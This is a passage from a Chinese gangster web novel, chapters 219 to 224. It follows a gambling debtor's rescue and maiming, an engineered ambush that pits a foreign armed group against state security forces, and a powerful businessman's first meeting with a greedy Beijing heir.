成小天突然猛地一踩刹车,吉普车停在了堂口的门口。 “召集所有人!联系所有赌场!” 成小天大喊着,语气冰冷,带着不容置疑的命令。 堂口里面,顿时乱作一团,马仔们四处奔走,电话铃声此起彼伏。 第219章 被逼到绝路的包专 时间一分一秒的过去,焦虑的情绪在空气之中蔓延。 几个小时过去了,依旧没有包专的消息。 这时,一个肥头大耳,满脸堆笑的赌场老板走了进来。 “天哥,三哥,黑狗昨儿个在我场子里输了一万多……” 赌场老板小心翼翼地说着,眼神里面充满了恐惧。 他从怀里掏出一沓钱,双手递给成小天。 “这是昨儿个从黑狗手里赢的,一点儿小意思,不成敬意……” 成小天接过钱,面无表情地递给了马老三。 “继续找!” 成小天语气冰冷,没有丝毫的犹豫。 两辆吉普车载着满满当当的马仔,呼啸着驶出了堂口,卷起漫天尘土。 夜幕降临,县城里灯火通明,却掩盖不住暗流涌动。 成小天和马老三坐在车里,脸色凝重。 “市区……” 成小天的嘴中,缓缓的吐出两个字,眼神里面充满了无奈。 他知道,包专很可能已经去了市区的赌场。 那里鱼龙混杂,更加危险。 “去!” 马老三咬了咬牙,眼神里面,闪过一丝决绝。 他知道,为了包专,也为了自己,他们必须去。 吉普车再次启动,朝着市区的方向,疾驰而去。 车厢里面,成小天和马老三都没有说话。 他们心里都清楚,这次去市区,将会面临更大的挑战。 包专的命运,也充满了未知。 而陈虎的那把短刀,就像一把达摩克利斯之剑,悬在他们的头顶,让他们喘不过气来。 市郊区一处地下赌场里。 “他娘的!” 包专狠狠地将手里的牌摔在赌桌上,发出一声闷响。 红色的K,三张,整整齐齐地躺在那里,像是在嘲笑他的愚蠢。 庄家慢条斯理地翻开自己的牌,一张A,一张Q。 包专的心彻底沉了下去,他知道他输了。 输得一干二净! 他从集团账户里面拿出来的五万块,已经全部变成了赌场的筹码,然后又变成了赌场的收入。 五万块! 七十年代的五万块! 这时的纸币,最大面值才十块! 五万块拿到手里是什么概念? 普通人几辈子的收入都不可能攒下这么多钱! 而现在,这些钱全部都没了。 包专的呼吸变得急促,汗水顺着他的额头流了下来,浸湿了他的衣领。 他感觉他的心脏衣服都快要跳出来了。 他知道他完了! 先不说陈虎会不会放过他,就说在这家赌场内借的一万块“水钱”,他也无力偿还。 “水钱”,赌场里的高利贷,利滚利,几天就能翻倍。 他借了一万,几天后就会变成两万,四万,八万…… 他这辈子都还不清了! 包专不由得深深地吸了口气,试图让他自己冷静下来。 但他做不到。 他的脑海里面,此时一片混乱,充满了恐惧和绝望。 他想起陈虎那冰冷的眼神,想起那把锋利的短刀。 他浑身颤抖,像筛糠一样。 “先生,还要继续吗?” 荷官的声音,冰冷而机械,像催命符一样在包专的耳边响起。 包专抬起头,看着荷官那张毫无表情的脸。 他想要逃,但他知道他逃不掉。 他已经被逼到了绝路。 “没……没了……” 包专的声音颤抖着,几乎已经听不清了。 他无力地瘫坐在椅子上,眼神空洞,像一具行尸走肉。 赌场里的喧嚣声,在他的耳边变得模糊不清,像来自另一个世界。 他感觉他自己正在坠入一个无底深渊,永无翻身之日。 他知道,他的人生,彻底完了。 而这一切,都是因为他内心的贪婪。 那五万块现金,就像魔鬼的诱惑,让他失去了理智,最终走向了毁灭。 七十年代的五万块,对于包专来说,不仅仅是一笔巨款,更是一个无法承受的重量,最终将他压垮。 他后悔了,但一切都太晚了。 此时,包专的脑袋一片空白,并且嗡嗡作响,像一口被敲烂的破钟。 浑浑噩噩中,包专只想离开这个让他窒息的地方。 他的双腿却像灌了铅,每一步都无比沉重。 他机械地挪动着脚步,如同提线木偶。 突然,一只粗壮的手臂拦住了他的去路。 赌场的人,凶神恶煞地盯着他。 “钱呢?” 简短的两个字,却像炸雷般在包专的耳边炸响,他这才想起他把那五万块钱全输了之后,又在赌场里面借的“水钱”。 “我……我没钱……” 包专结结巴巴地回答,声音细若蚊蝇。 赌场的人闻言,当即冷笑一声,一把揪住了包专的衣领。 “没钱?你他妈耍老子?” 包专已经输光了所有的钱,他明白他已经填不满那个无底洞了。 “真没钱了……” 包专无力地重复着,眼神空洞,像一只被抽干了灵魂的木偶。 不过,赌场的打手们可不管这些,拖着包专就往赌场后场走去。 赌场后场,昏暗的灯光下,一个独眼男人正端坐在太师椅上。 他的手里盘着一串核桃,笑吟吟地看着被拖进来的包专。 “哟!这不是黑狗兄弟吗?真是大方啊!六万多,一天不到就全部送给我们场子了。” 独眼男人的声音,带着一丝戏谑和嘲讽。 包专听到这话,脸色大变的质问起来。 “我就输了六万!我……我哪有借一万多?我就借了一万……” 包专的声音颤抖着,几乎已经听不清。 “一万?你当我们这里是慈善机构啊?” 独眼男人收起笑容,眼神变得凌厉。 “你借了一万,再加上利息,现在是一万三,拿钱来吧!” 包专闻言,眼前一黑,差点儿就晕过去。 “一万三?我借一万,付了百分之十的手续费,到手九千,怎么就一万三了?就算利滚利,也需要以月为单位才对……” 包专试图据理力争,但他的声音却越来越弱。 独眼男人这时候却是非常不耐烦地打断了包专。 “少废话!我们场子的规矩,一月起算利率,九出十三归。我们调查过你的来历,你之前就是一个小混混,名下也没有什么产业,你之后拿什么来还我们场子的钱?老实说,你的钱到底哪来的?” 独眼男人的眼神此时像刀子一样,直刺包专的心脏。 第220章 两不相欠 听到男人的话,包专的心直接就沉到了谷底。 他知道,他今天是在劫难逃了! 独眼男人随后认真的看着包专,继续说道: “看在你这么爽快的份上,给你个机会,现在就还清,不然……” 他没说完,但话里的威胁之意,不言而喻。 独眼男人把玩着手里的核桃,眼神玩味地看着包专。 “对了!自我介绍一下,我叫罗翔,是这个场子的主人。” 这个名字,在包专听来,如同阎王的催命符…… 傍晚,昏黄的街灯拉长了成小天和马老三的身影。 市郊区,一处废弃工厂改造的地下赌场,门口两个流里流气的混混叼着烟,百无聊赖地踢着石子。 成小天和马老三对视一眼,眼神之中。都带着一丝凝重。 “就是这里了!”马老三吐掉嘴里的烟头,用脚碾灭。 而后,马老三和成小天一起,进入了这家地下赌场内。 一股霉味夹杂着汗臭和烟味扑面而来,熏得成小天差点儿吐出来。 赌场里面,乌烟瘴气的,嘈杂的叫喊声和骰子碰撞的声音混杂在一起,震耳欲聋。 成小天一眼就看到了包专。 此时,包专正蜷缩在角落里,脸色苍白,浑身颤抖。 更让人触目惊心的是包专血肉模糊的左手。 已经没了手掌! 顿时,成小天的胃里一阵翻江倒海。 怒火,像火山爆发一样,瞬间吞噬了成小天的理智。 “黑狗!” 成小天嘶吼着冲了过去。 马老三紧随其后,带来的十几个兄弟也纷纷亮出家伙什。 铁棍、砍刀、钢管,在昏暗的灯光之下,闪烁着寒光。 赌场里面,顿时乱作一团。 赌徒们尖叫着四散奔逃,筹码和纸牌散落一地。 一个身材魁梧,满脸横肉的男人,随后走了出来。 对方独眼,正是罗翔。 他轻蔑地扫了一眼小天,嘴角勾起了一抹冷笑。 “哟!这不是马关口新爬起来当了龙头的小天吗?怎么?想来替你兄弟出头?” “少废话!今天黑狗输的钱,你必须给我吐出来!”成小天怒吼道。 “他值六万三?你未免也太看得起他了。”罗翔一脸不屑地笑道:“今天少了他输给我们场子的一万三,那他就得交代在这儿。” 成小天二话不说,抡起铁棍就砸了过去。 “兄弟们,给我上!” 一场混战,瞬间爆发。 成小天带来的十几个兄弟,个个都是亡命之徒,下手狠辣。 赌场里面的打手虽然人多势众,但猝不及防之下,被打了个措手不及。 一时之间,惨叫声、怒骂声、桌椅翻倒的声音交织在一起,整个赌场变成了修罗场。 成小天和马老三冲在最前面,如同两头猛虎,势不可挡。 打斗途中,成小天趁乱跑到包专的身边,迅速给他松绑。 “快跑!” 包专闻言,愣了一下,随即反应过来,跌跌撞撞地就跟着成小天向外跑去。 罗翔见状,顿时怒吼道:“抓住他!” 不少打手见此,立刻就追了上去。 成小天挥舞着铁棍,将追赶包专的打手们,一个个打倒在地。 另一边,马老三一刀捅翻了一个试图偷袭的混混,捂着他肚子上的伤口,脸色苍白的往成小天这边看了一眼。 “小天!别他妈恋战!黑狗跑了!” 马老三的声音因为疼痛,而变得有些变形。 成小天这才意识到包专已经不在他的身边。 “妈的!” 成小天狠狠地踹翻一个挡路的打手。 “三哥,你顶住!” 马老三咬着牙,挥舞着砍刀,勉强支撑着。 “你小子要是放跑了黑狗,咱俩都得玩完!” 罗翔带来的打手虽然人多,但成小天和马老三带来的都是亡命之徒,下手狠辣,很快就占据了上风。 罗翔被成小天一脚踹翻在地,手中的砍刀也飞了出去。 “都他妈住手!” 成小天提着滴血的砍刀,一步步的走向罗翔。 罗翔挣扎着想要爬起来,却被成小天一脚踩在胸口。 “咳、咳……” 罗翔随后吐出了一口血沫,眼中充满了恐惧。 而后,成小天眼神冰冷的蹲下身,抓住罗翔的左手。 “这就是你们赌场出千的代价!” 刀光一闪。 一声惨叫,响彻赌场。 罗翔左手的手掌,齐根而断。 鲜血喷涌而出。 “把从黑狗那儿赢的钱,都他妈的给我吐出来!”成小天怒吼道。 赌场里的打手们闻言,不由得噤若寒蝉,纷纷后退。 罗翔疼得满地打滚,却也不敢再反抗。 “快……快去拿钱……”罗翔颤抖着说道。 马老三捂着肚子,脸色苍白。 “小天,快去追黑狗!这里交给我!” 闻言,成小天深吸了一口气,看了一眼受伤的马老三,然后问明白包专被砍的左手的下落,转身就带着那左手的手掌,冲出了赌场。 他知道,如果追不回包专,他和马老三都无法向陈虎交代。 夜色之中,成小天的身影消失在昏黄的街灯下。 赌场里面,一片狼藉。 空气之中,弥漫着血腥味和恐惧。 马老三靠在墙上,大口喘着粗气。 望着成小天离去的背影和他兜里那还在滴血的手掌,他暗自祈祷。 风卷起荒地上的尘土,打着旋儿,像一只只迷茫的幽灵。 小天终于在一处废弃的砖窑旁,找到了包专。 包专此时蜷缩在角落里,像一只受伤的野兽,瑟瑟发抖。 他左手的手腕此时空荡荡的,血液已经凝固,像一朵朵诡异的黑色花朵。 成小天随即重重地叹了口气。 “黑狗,跟我回去吧!” 包专抬起头,眼神空洞,像是失去了灵魂。 “回不去了,小天。” 他的声音沙哑,带着绝望。 成小天走近几步,蹲下身子。 “钱我都追回来了,虎哥会原谅你的!” 包专闻言,浑身颤抖得更厉害了。 “你难道不知道虎哥是什么人吗?我回去了,九死一生!” 闻言,成小天沉默了片刻。 “钱追回来了,我会去求情,别逃了!” 包专听到成小天这话,顿时惨笑一声。 “逃?我还能逃到哪里去?” 包专抬起头,看着小天,眼神里面,带着一丝祈求。 “小天,你还记得吗?咱们一起翻墙偷镇上朱家的鸡,那时候。你才多大点儿?” 成小天闻言,点了点头。 “记得。” “你还记得吗?我跟你到道上混,帮你挡过一刀,差点儿丢了命。” 成小天再次点了点头。 “我也记得。” 包专的声音,越来越低,带着一丝哽咽。 “我还跟你说过,我和县城那个卖炒板栗的女孩,私定终身了……” 说到这里,包专的眼神里面,却是闪过了一丝温柔,又很快被绝望取代。 “我这次回去,本来是想……想娶了她……” 听到包专这话,成小天的心猛地一揪。 他随即就从怀里掏出一个用塑料袋包裹着的东西,递到包专的面前。 那是一只血肉模糊的手掌! 正是包专被砍掉的左手的手掌。 “去医院接上!你这次走了,咱们之间,两不相欠!” 包专看着他的那只左手的断掌,眼神复杂,有恐惧,有痛苦,还有一丝解脱。 随后,包专颤抖着伸出右手,将断掌紧紧地抱在怀里。 然后,包专缓缓地站起身来,一步一步地消失在了夜色之中。 第221章 借刀杀人 看着包专渐渐消失的身影,成小天站在原地,久久不动。 风依然卷着尘土,像一只只迷茫的幽灵,在荒地上游荡。 暗处,红拂女的身影一闪而过。 她亲眼看着成小天放走黑狗,不由得无奈地摇了摇头。 然后,悄无声息地离去,像一阵风,消失在夜色之中。 红裙在夜风中翻飞,像一朵盛开的罂粟,妖艳而危险。 她知道,有些事情,不是简单的对错就可以衡量的。 有些债,也不是简单的恩怨,就可以清算的。 而这,仅仅是一个开始! 成小天给出了他的答卷,那么自己的考卷又在哪儿呢? 陈氏粮农集团,办公室内。 袅袅茶香弥漫,陈虎悠哉地品着茶,仿佛一切尽在掌握。 马老三和成小天两人低着头,站在陈虎的面前,气氛压抑得令人窒息。 马老三舔了舔干裂的嘴唇,尝试着解释道:“虎哥,本来我们已经找到了黑狗,当时发生了火拼……” 陈虎直接打断了马老三,语气冰冷道:“我不在乎过程!” 顿了顿,陈虎眼神如刀锋般锐利道:“我只在乎结果!” 马老三听到陈虎这话,后背顿时感到一阵发凉,额头上面也渗出了细密的汗珠。 “我没把人带回来,仅仅带回了钱,我错了,虎哥!”马老三神情畏惧,声音颤抖。 陈虎闻言,微微颔首,示意马老三可以离开了。 “你先下去忙吧!” 马老三如蒙大赦,逃也似的离开了办公室。 办公室的门关上,房间里面,只剩下陈虎和成小天两人。 成小天此时一阵胆寒,双腿像灌了铅一样沉重。 “扑通”一声,成小天跪在了陈虎的面前。 陈虎见此,不由得冷笑一声问道:“你跪下干什么?” 成小天闻言,浑身颤抖,不敢抬头。 “虎哥,我……” 陈虎看着成小天,语气玩味的说道:“你放走黑狗,我早就料到了。” 顿了顿,陈虎目光深邃道:“这是给你的考验!但这个考验,只进行了一半。” 成小天闻言,直接抬起头,泪眼婆娑道:“虎哥,再给我一次机会,也给黑狗一次机会吧!” 陈虎却没有丝毫动摇,语气冰冷道:“黑狗,没救了!” 他看着跪在地上的成小天,语气意味深长的说道:“至于你要不要赎罪自救,你自己去选!” 听到陈虎这话,成小天的眼泪夺眶而出,哽咽着说道:“虎哥,给我一个机会,我一定……” 陈虎却是直接打断了成小天的话道:“去盯着黑狗!” 说到这里,陈虎顿了顿,然后语气冰冷的命令道:“等到时机到了,把黑狗带到我面前。” 闻言,成小天连忙问道:“什么时机?” 陈虎的嘴角,此时却是勾起了一抹冷笑道:“等他再度踏足马关口时!” 说完,陈虎看着成小天,眼神深邃,仿佛能看穿他的一切心思。 他知道成小天重情重义,这也是他选择成小天的原因。 傍晚时分。 夕阳的余晖透过百叶窗,在地板上投下了斑驳的光影。 陈虎的面前,铺着一张巨大的牛皮纸,上面用红蓝两色的笔勾勒出了一个复杂的脉络图,错综复杂,如同盘踞的巨蟒。 此时,陈虎眉头微皱,手指轻轻的敲击着桌面,似乎在思考着什么。 “回来了?” 陈虎依旧低着头看脉络图,语气平静的说道。 红拂女悄无声息地出现在办公室门口,一身红裙如火,在昏办公室暗的光线之下,显得格外妖娆。 “幸苦了!” 陈虎随后抬起头,看了一眼红拂女,嘴角勾起了一抹淡淡的笑容。 红拂女闻言,轻轻点头,然后走到陈虎的身旁,目光落在那张复杂的脉络图上。 “九头蛇组织北部分部已经得到了消息。”红拂女语气冰冷,不带一丝感情道:“预计明天,他们就会开始朝着边境潜入。” 陈虎闻言,微微颔首,眼中闪过一丝精光。 “时机到了!” 红拂女闻言,眼神一凝,心中微微一颤。 她想到了陈虎那个惊人的计划,那个大胆到近乎疯狂的计划。 即使是她,也不禁感到一丝胆寒。 “我需要做什么?”红拂女深吸一口气,努力让她自己保持平静。 陈虎放下手中的笔,目光灼灼地盯着红拂女。 “现在,你需要去你命令领辖的九头蛇组织分队的人,让他们明天出动。” “在马关口以南位置,打一场伏击。” 红拂女听到陈虎这话,眉头微蹙,似乎想到了什么。 “马关口以南?” 陈虎的嘴角,此时突然勾起了一抹冷笑。 “没错!” “想办法阻隔双方的通讯。” “让他们自相残杀!” 红拂女闻言,心中当即一惊,她终于明白了陈虎的意图。 陈虎要让九头蛇的两个分部,在毫不知情的情况下,互相火拼。 这简直就是一招借刀杀人! 而且,是借九头蛇组织自己人的刀去杀人。 “这……”红拂女此时有些犹豫该不该按照陈虎的命令这么做。 陈虎看出了红拂女的顾虑,语气变得柔和了一些。 “我知道你在担心什么。” “但这是最快,也是最有效的办法。” “只有这样,才能彻底解决九头蛇组织的威胁。” 红拂女闻言,顿时沉默了片刻,最终还是点了点头。 “我明白了!” “我会按照你的吩咐去做的!” 陈虎闻言,十分满意地笑了笑,看向红拂女的眼神之中,也是闪过了一丝赞赏。 “很好!” “我相信你不会让我失望!” 红拂女随后转身离去,红色的身影消失在了夜色之中。 陈虎随后重新拿起笔,在脉络图上面,画了一个圈。 马关口。 那里,将成为九头蛇组织北部分部来的那些人的葬身之地! 次日。 陈虎起了个大早,简单洗漱之后,他便驱车前往镇上的孙家宅院。 晨曦透过车窗,在陈虎的脸上,镀上了一层金光。 他的心中正盘算着待会儿与孙老的谈话了,如何才能够让这位老谋深算的老爷子相信他所得到的消息。 孙家宅院,青砖黛瓦,古色古香。 院子里面,三株老梅傲然挺立,散发着淡淡的清香。 陈虎将车停在门口,孙家的管家老李早已迎了出来。 这老李就是之前陈虎见过的那位家中妻小没了的孙老以前的警卫员,他来到孙老家陪孙老解解闷后,索性就成了孙老的管家,帮助孙老料理一些家里的事情。 “陈先生,您来了!”老李恭敬地问候陈虎道。 “孙老在吗?”陈虎连忙问道。 “在书房!” 老李随后引着陈虎,穿过庭院,走向书房。 第222章 好一招螳螂捕蝉,黄雀在后! 书房内,孙老正坐在紫檀木桌前,手里拿着一本线装书,看得津津有味。 “陈小子,你可是稀客啊!”孙老放下书,一脸笑呵呵地说道。 “最近忙得很,都没时间来看您老人家了。”陈虎笑着解释。 “忙?忙着发财吧?”孙老故意打趣道:“也不见你带点野味过来!” “您老想吃什么野味,尽管吩咐便是!什么时候我都能给您弄来!”陈虎闻言,拍着胸脯向孙老保证。 “哈哈哈……就你小子嘴甜!”孙老闻言,顿时就开怀大笑起来。 “来!陪我下盘棋!”孙老随后招呼陈虎坐下。 陈虎也不推辞,在孙老对面坐下,两人开始对弈。 棋局过半,陈虎故意露出破绽,让孙老占了上风。 “老爷子,棋艺见长啊!”陈虎笑着恭维。 “你小子,少跟我来这套!”孙老一眼就看穿了陈虎的小心思,直接说道:“有什么事情,你就直说吧!” 陈虎见时机成熟,便开口道:“老爷子,我得到消息,九头蛇组织的部队潜入边境了。” 孙老闻言,神色一凝,手中的棋子停在了半空之中。 “什么?九头蛇组织?”孙老的语气顿时变得严肃起来道:“消息可靠吗?” 陈虎听到孙老这话,心中暗道一声“来了”,面上却不动声色。 “我从马关口那边几个走私的货郎口中得知的,他们亲眼看到一支不明的武装力量潜入了边境。”陈虎半真半假地说道。 他故意模糊了消息来源,让得孙老无法追查。 孙老闻言,眉头紧锁,沉思片刻。 “马关口……”他喃喃自语,似乎在思考着什么。 “事关家国安危,我不敢怠慢,所以第一时间内就来告诉您老人家了。”陈虎补充道。 孙老抬起头,目光锐利地盯着陈虎。 “你做得对!” 说完这话,孙老就走到桌旁,拿起了座机电话,拨通了一个号码。 “老王,是我!我这边有个紧急情况,要向你汇报……” 孙老将九头蛇组织潜入边境的消息,告诉了国安局的负责人,并要求他们立即派出部队前往清剿。 放下电话,孙老不由得长舒了一口气。 “希望一切顺利!”孙老低声说道。 陈虎见此,心中暗笑,一切都在按照他的计划展开。 接下来,就等着看好戏了。 傍晚时分,夕阳的余晖透过百叶窗,在地板上投下斑驳的光影。 陈氏粮农集团顶层办公室,陈虎正站在落地窗前,俯瞰着厂区住宿区域逐渐亮起的万家灯火。 陈虎的指尖夹着一支香烟,袅袅青烟在他棱角分明的脸上萦绕,更添几分冷峻。 一阵高跟鞋敲击地面的清脆声响,由远及近。 红拂女推门而入,一身标志性的红色长裙,衬托出她冷艳的气质。 “我手下的三个分队已经按计划抵达指定位置。”红拂女语气平静,却带着一丝不易察觉的紧张。 陈虎转过身,深邃的目光落在红拂女的身上。 “让他们开几枪,然后朝着东边山林撤离。” “制造一些混乱,吸引注意力。” “再想办法送个消息,去往北部九头蛇组织的分部。” “就说他们中间有内鬼,暴露了这次计划。” 红拂女闻言,秀眉微蹙,疑惑不解。 “为什么要这么做?” “那入境的九头蛇组织的部队该怎么办?” “足足十个分队,超过一百五十人的规模。” “若是让其潜伏下来,你必然会受到报复的!” 她深知九头蛇组织的狠辣手段,绝不会轻易放过任何一个威胁到他们的人。 陈虎轻轻弹了弹烟灰,嘴角勾起了一抹冷冽的弧度。 “国安局的人,已经在那边等着了。” “他们跑不掉的!” 红拂女心头一震,这才明白陈虎的真正用意。 “好一招螳螂捕蝉,黄雀在后!”她心中暗叹。 “你只需要保证自己手底下的分队顺利撤离就好。”陈虎补充道。 “必要的话,舍弃一部分不够信任的。” 陈虎的语气冰冷,没有丝毫犹豫。 在陈虎的世界里,成大事者不拘小节,牺牲在所难免。 红拂女眼神闪烁,内心挣扎了片刻。 她明白陈虎的决定虽然残酷,但却也是最有效的办法。 “我明白了!”红拂女最终还是点了点头道:“我会安排妥当的!” 红拂女转身离去,高跟鞋敲击地面的声音逐渐远去。 陈虎重新走到落地窗前,望着渐渐被夜幕吞噬的县城,眼中闪过了一丝复杂的光芒。 他知道,这场游戏才刚刚开始。 而他,注定要成为这场游戏的最终赢家。 夜色渐深,陈虎的办公室里,只剩下烟雾缭绕,和那双深邃如夜的眼睛。 他默默地注视着窗外,仿佛在等待着黎明的到来。 马关口以北,阴山山隘。 夜色如墨,寒风呼啸,如同野兽的低吼。 A组和C组成员,如同鬼魅般穿梭在嶙峋的山石之间。 他们轻装简行,手中紧握着56式冲锋枪,脚步迅捷而无声。 东边林子,如同张开巨口的怪兽,静静地等待着他们的到来。 红拂女站在山隘高处,望着他们远去的背影,眼神复杂。 “B组留下,准备伏击!”红拂女对着通讯器低声说道,语气冰冷而果决。 山隘另一侧,九头蛇的部队正朝着这边缓缓逼近。 他们装备精良,清一色的AK-47突击步枪,在夜色之中,闪烁着寒光。 为首的队长,身材魁梧,眼神凶狠,如同择人而噬的猛兽。 “加快速度!争取在天亮之前,抵达目标地点。”他催促着身后的队员。 山隘中,B组成员埋伏在岩石和灌木丛中,如同蛰伏的毒蛇,等待着猎物的出现。 他们手中的56式半自动步枪,瞄准着山隘的入口。 气氛紧张而压抑,仿佛暴风雨来临前的宁静。 突然,九头蛇组织的部队,出现在山隘入口。 “开火!”B组组长一声令下。 枪声骤然响起,打破了山隘的宁静。 子弹如同雨点般倾泻而出,在夜空之中,划出一道道火舌。 九头蛇组织的部队猝不及防,瞬间倒下一片。 “有埋伏!反击!”九头蛇组织的一名队长怒吼道。 枪声更加密集,如同爆炸一般,在山隘中回荡。 火光冲天,硝烟弥漫,整个山隘变成了一片修罗场。 第223章 没有赢家,只有幸存者! 与此同时,山隘另一侧,国安的部队也开始了行动。 他们装备精良,训练有素,如同神兵天降。 轻重机枪、火箭筒、手榴弹,各种武器轮番上阵。 九头蛇组织的部队腹背受敌,如同困兽犹斗。 B组成员原本准备伏击,却直接被这突如其来的两方交火,给惊呆了。 他们进退两难,不知道该帮助哪一方。 没有通讯,没有命令,他们又不能擅自离开。 “怎么办?”一个年轻的B组成员十分惊慌地问道。 “先隐蔽,静观其变!”B组组长强作镇定地说道。 然而,他们的行踪很快就被双方发现了。 国安部队迅速包围了B组。 “抵抗者格杀勿论!”国安队长大喊道。 B组成员宁死不降,全部战死。 战火在这处山隘蔓延,如同燎原之火,吞噬着一切。 等到战斗结束,山隘之中,尸横遍野,血流成河。 国安此次行动,共计消灭九头蛇这个境外组织的成员,共计一百八十七人! 红拂女带去的三个分队,B组也在其中。 她站在山顶,望着硝烟弥漫的山隘,眼神冰冷而深邃。 “这就是战争!” 红拂女低声自语着。 “没有赢家,只有幸存者!” 上河村后山,临时基地。 昏黄的灯光下,A组和C组的九头蛇组织的分队成员们围坐在一起,气氛沉闷。 他们的脸上带着疲惫和疑惑,眼神之中,闪烁着不安。 红拂女推门而入,一身红裙,如同夜色中的火焰。 “各位,辛苦了!”红拂女语气平静,却带着一丝不易察觉的紧张。 “部长,B组……”一个队员忍不住开口询问,声音颤抖。 红拂女闻言,深吸一口气,眼神变得冰冷而锐利。 “B组……全部牺牲了!” “什么?!”队员们闻言,一片哗然,震惊和悲痛顿时就在人群之中蔓延。 “阴山山隘,除了我们,还有两方势力。”红拂女继续说道。 “一方是国安,另一方是北部总部派来的增援。” “北境总部共派出一百五十人,全军覆没!” 红拂女话音落下,空气瞬间凝固,落针可闻。 队员们不由得面面相觑,眼神之中,充满了恐惧和疑惑。 他们意识到事情远比他们想象的复杂。 “我背叛了组织!”红拂女语气平静,如同在陈述一个事实。 这句话如同惊雷一般,在人群之中炸响。 那些队员们瞪大了眼睛,难以置信地看着红拂女 背叛九头蛇组织,后果不堪设想。 “C组阻击了北部总部的人。”红拂女随后一脸冷漠的说道:“现在,组织应该已经开始追杀我们了!” 恐惧顿时如同潮水般涌来,淹没了在场所有的队员们。 他们知道九头蛇组织的势力,也知道背叛九头蛇组织的下场。 “想要离开的人,现在就可以走!”红拂女的语气变得更冷,眼神却坚定无比。 “我不会阻拦!” “留下来的,就意味着要与九头蛇组织为敌。” 沉默! 周围死一般的沉默。 在场的三十名队员,没有一个人选择离开。 他们都是九头蛇组织的精英,经历过无数的生死考验。 他们知道,背叛九头蛇组织必然会被追杀,再脱离红拂女的话,他们还会被华夏军方追杀,那样的话,他们将无处可去。 “很好!” 红拂女看到眼前这一幕,嘴角不由得露出了一丝微笑,眼神之中,充满了赞赏。 “从现在开始,我们将为陈氏集团做事!” “陈氏集团?”一个队员闻言,有些疑惑地问道。 “陈氏集团有国安和军方的背景。”红拂女随即解释道。 “只要我们留在华夏,九头蛇组织就奈何不了我们!” 队员们闻言,这才恍然大悟。 原来,红拂女早有安排。 “我愿意追随部长!”一个队员大声说道。 “我也愿意!” “我们都愿意!” …… 队员们随后纷纷表态,他们的声音坚定而有力。 他们选择了相信红拂女,选择了与她共同进退。 红拂女环视众人,眼神之中,充满了欣慰。 “很好!”红拂女轻笑着点了点头道:“从今天起,我们就是陈氏集团的一份子!” 北方毛熊帝国,九头蛇北境总部。 “砰!” 一声巨响,厚重的橡木办公桌被一只巨大的拳头,砸出了一个深深的凹陷。 身形魁梧的北境总部长斯拉夫,此刻脸色铁青,眼珠里面布满了血丝。 “一百五十人!整整十个精锐分队!” 他咆哮着,声音如同野兽的嘶吼,震得整个房间都在颤抖。 “一个照面就被华夏军方全歼了!” 斯拉夫猛地站起身,一脚踹翻了面前的椅子。 椅子翻滚着撞到墙上,发出一声刺耳的炸响。 “废物!都是一群废物!” 面前的几个下属低着头,大气都不敢喘,身体微微颤抖着。 他们知道,斯拉夫的怒火,足以将他们烧成灰烬。 “部长……”一个下属战战兢兢地开口道:“根据华夏分部部长红拂女传回来的消息……” 他咽了口唾沫,声音有些颤抖。 “似乎……似乎是总部出了纰漏……” “纰漏?!”斯拉夫怒吼一声,一把抓住那名下属的衣领,将他提了起来。 “什么纰漏?!说清楚!” 那名下属脸色煞白,双腿不停地打颤。 “是……是有内鬼泄露了消息……” “内鬼?!”斯拉夫闻言,猛地将那名下属扔在地上。 “彻查!给我彻查!” 他怒吼着,声音如同炸雷一般。 “掘地三尺也要把这个内鬼给我挖出来!” 斯拉夫来回踱步,沉重的脚步声在房间里面回荡。 “一百五十人啊……” 他咬牙切齿,眼神之中,充满了仇恨的火焰。 “这是奇耻大辱!莫大的损失!” 斯拉夫猛地停下脚步,眼神变得冰冷而锐利。 “联系亚洲总部!联系北欧总部!” 突然,斯拉夫大喊下令,语气不容置疑。 “调遣人手!我要进入华夏境内寻仇!” 斯拉夫的拳头紧紧握住,指关节因为用力而泛白。 “华夏军方!孙家!还有那个陈虎!” 他一字一顿地说着,每一个字都充满了杀意。 “他们都要付出代价!” “血债!必须用血来偿!” 斯拉夫怒吼着,他要让那些胆敢挑衅九头蛇组织的人,全部都付出惨痛的代价。 第224章 分明就是强取豪夺! 清晨时分,陈氏粮农集团迎来了一位特殊的“客人”。 陈虎叼着烟,眯着眼看着眼前这个油头粉面的年轻人。 成本西,孙若薇的“好友”。 对方也是京圈赫赫有名的二世祖! 陈虎弹了弹烟灰,嘴角勾起了一抹不易察觉的冷笑。 “陈总,久仰大名啊!”成本西伸出保养得极好的手,脸上堆满了虚伪的笑容。 陈虎随后和成本西握了握手,对方手上那股滑腻的触感让得陈虎感觉有些不舒服。 “成少过奖了,叫我陈虎就行!”陈虎笑着说道,语气里面,带着恰到好处的热情。 “陈虎兄弟,你这里可是个好地方啊!”成本西环顾四周,眼神里面,闪过了一丝贪婪。 上河村粮农工业园,陈虎一手打造的商业基本盘,产量与规模都算得上国内顶尖。后面还有孙家扶持! 如今,却成了这些京圈大少眼中的肥肉。 “成少喜欢就好!”陈虎依旧笑着,心里面却早已将这群人给骂了个遍。 “听说陈虎兄弟这里有很多项目,不知道有没有兴趣合作一下?”成本西说到这里,终于露出了他的狐狸尾巴。 陈虎闻言,心里冷笑,这哪里是合作,分明就是强取豪夺! “合作当然可以,不知道成少想怎么合作?”陈虎不动声色地问道。 “我们名流会对陈虎兄弟的项目很感兴趣,打算投资一笔钱。”成本西故作大方地说道。 名流会,一群京圈二世祖们所组成的组织。 打着投资的幌子,实际上就是想连吃带拿。 陈虎早就料到了他们的目的,心里面一点儿也不意外。 “哦?那真是太好了!不知道成少打算投资多少,又要多少利益呢?”陈虎直接开门见山地问道。 成本西闻言,不由得愣了一下,没想到陈虎竟然这么直接。 他随后干咳了一声,说道:“这个嘛……我们还要再商量一下!” 陈虎听到成本西这话,心里当即冷笑,这群人还真是不见兔子不撒鹰! “没问题!成少尽管商量,我随时恭候!”陈虎笑着说道,语气里面,充满了自信。 他知道,这些人迟早会露出他们的真面目。 而他,早已做好了准备。 傍晚,马关口最好的会所。 几十个公主环绕着成本西,莺莺燕燕,好不热闹。 陈虎提前安排了此处,并且是直接包场! 陈虎坐在一旁,看着成本西左拥右抱,在一旁陪笑着,却没有其它动作。 “陈虎兄弟,你选的这地方还真不错!”成本西搂着一个公主,满脸得意地说道。 陈虎闻言,皮笑肉不笑地说道:“成少喜欢就好!” “成少先玩开心,明日我们再细聊,我回去做些准备!” 成本西闻言,痛快答应,而后开始肆无忌惮宣泄淫欲。 陈虎打了声招呼,让会所负责人好生招待后,便抽身离去。 他知道,这场谈判才刚刚开始。 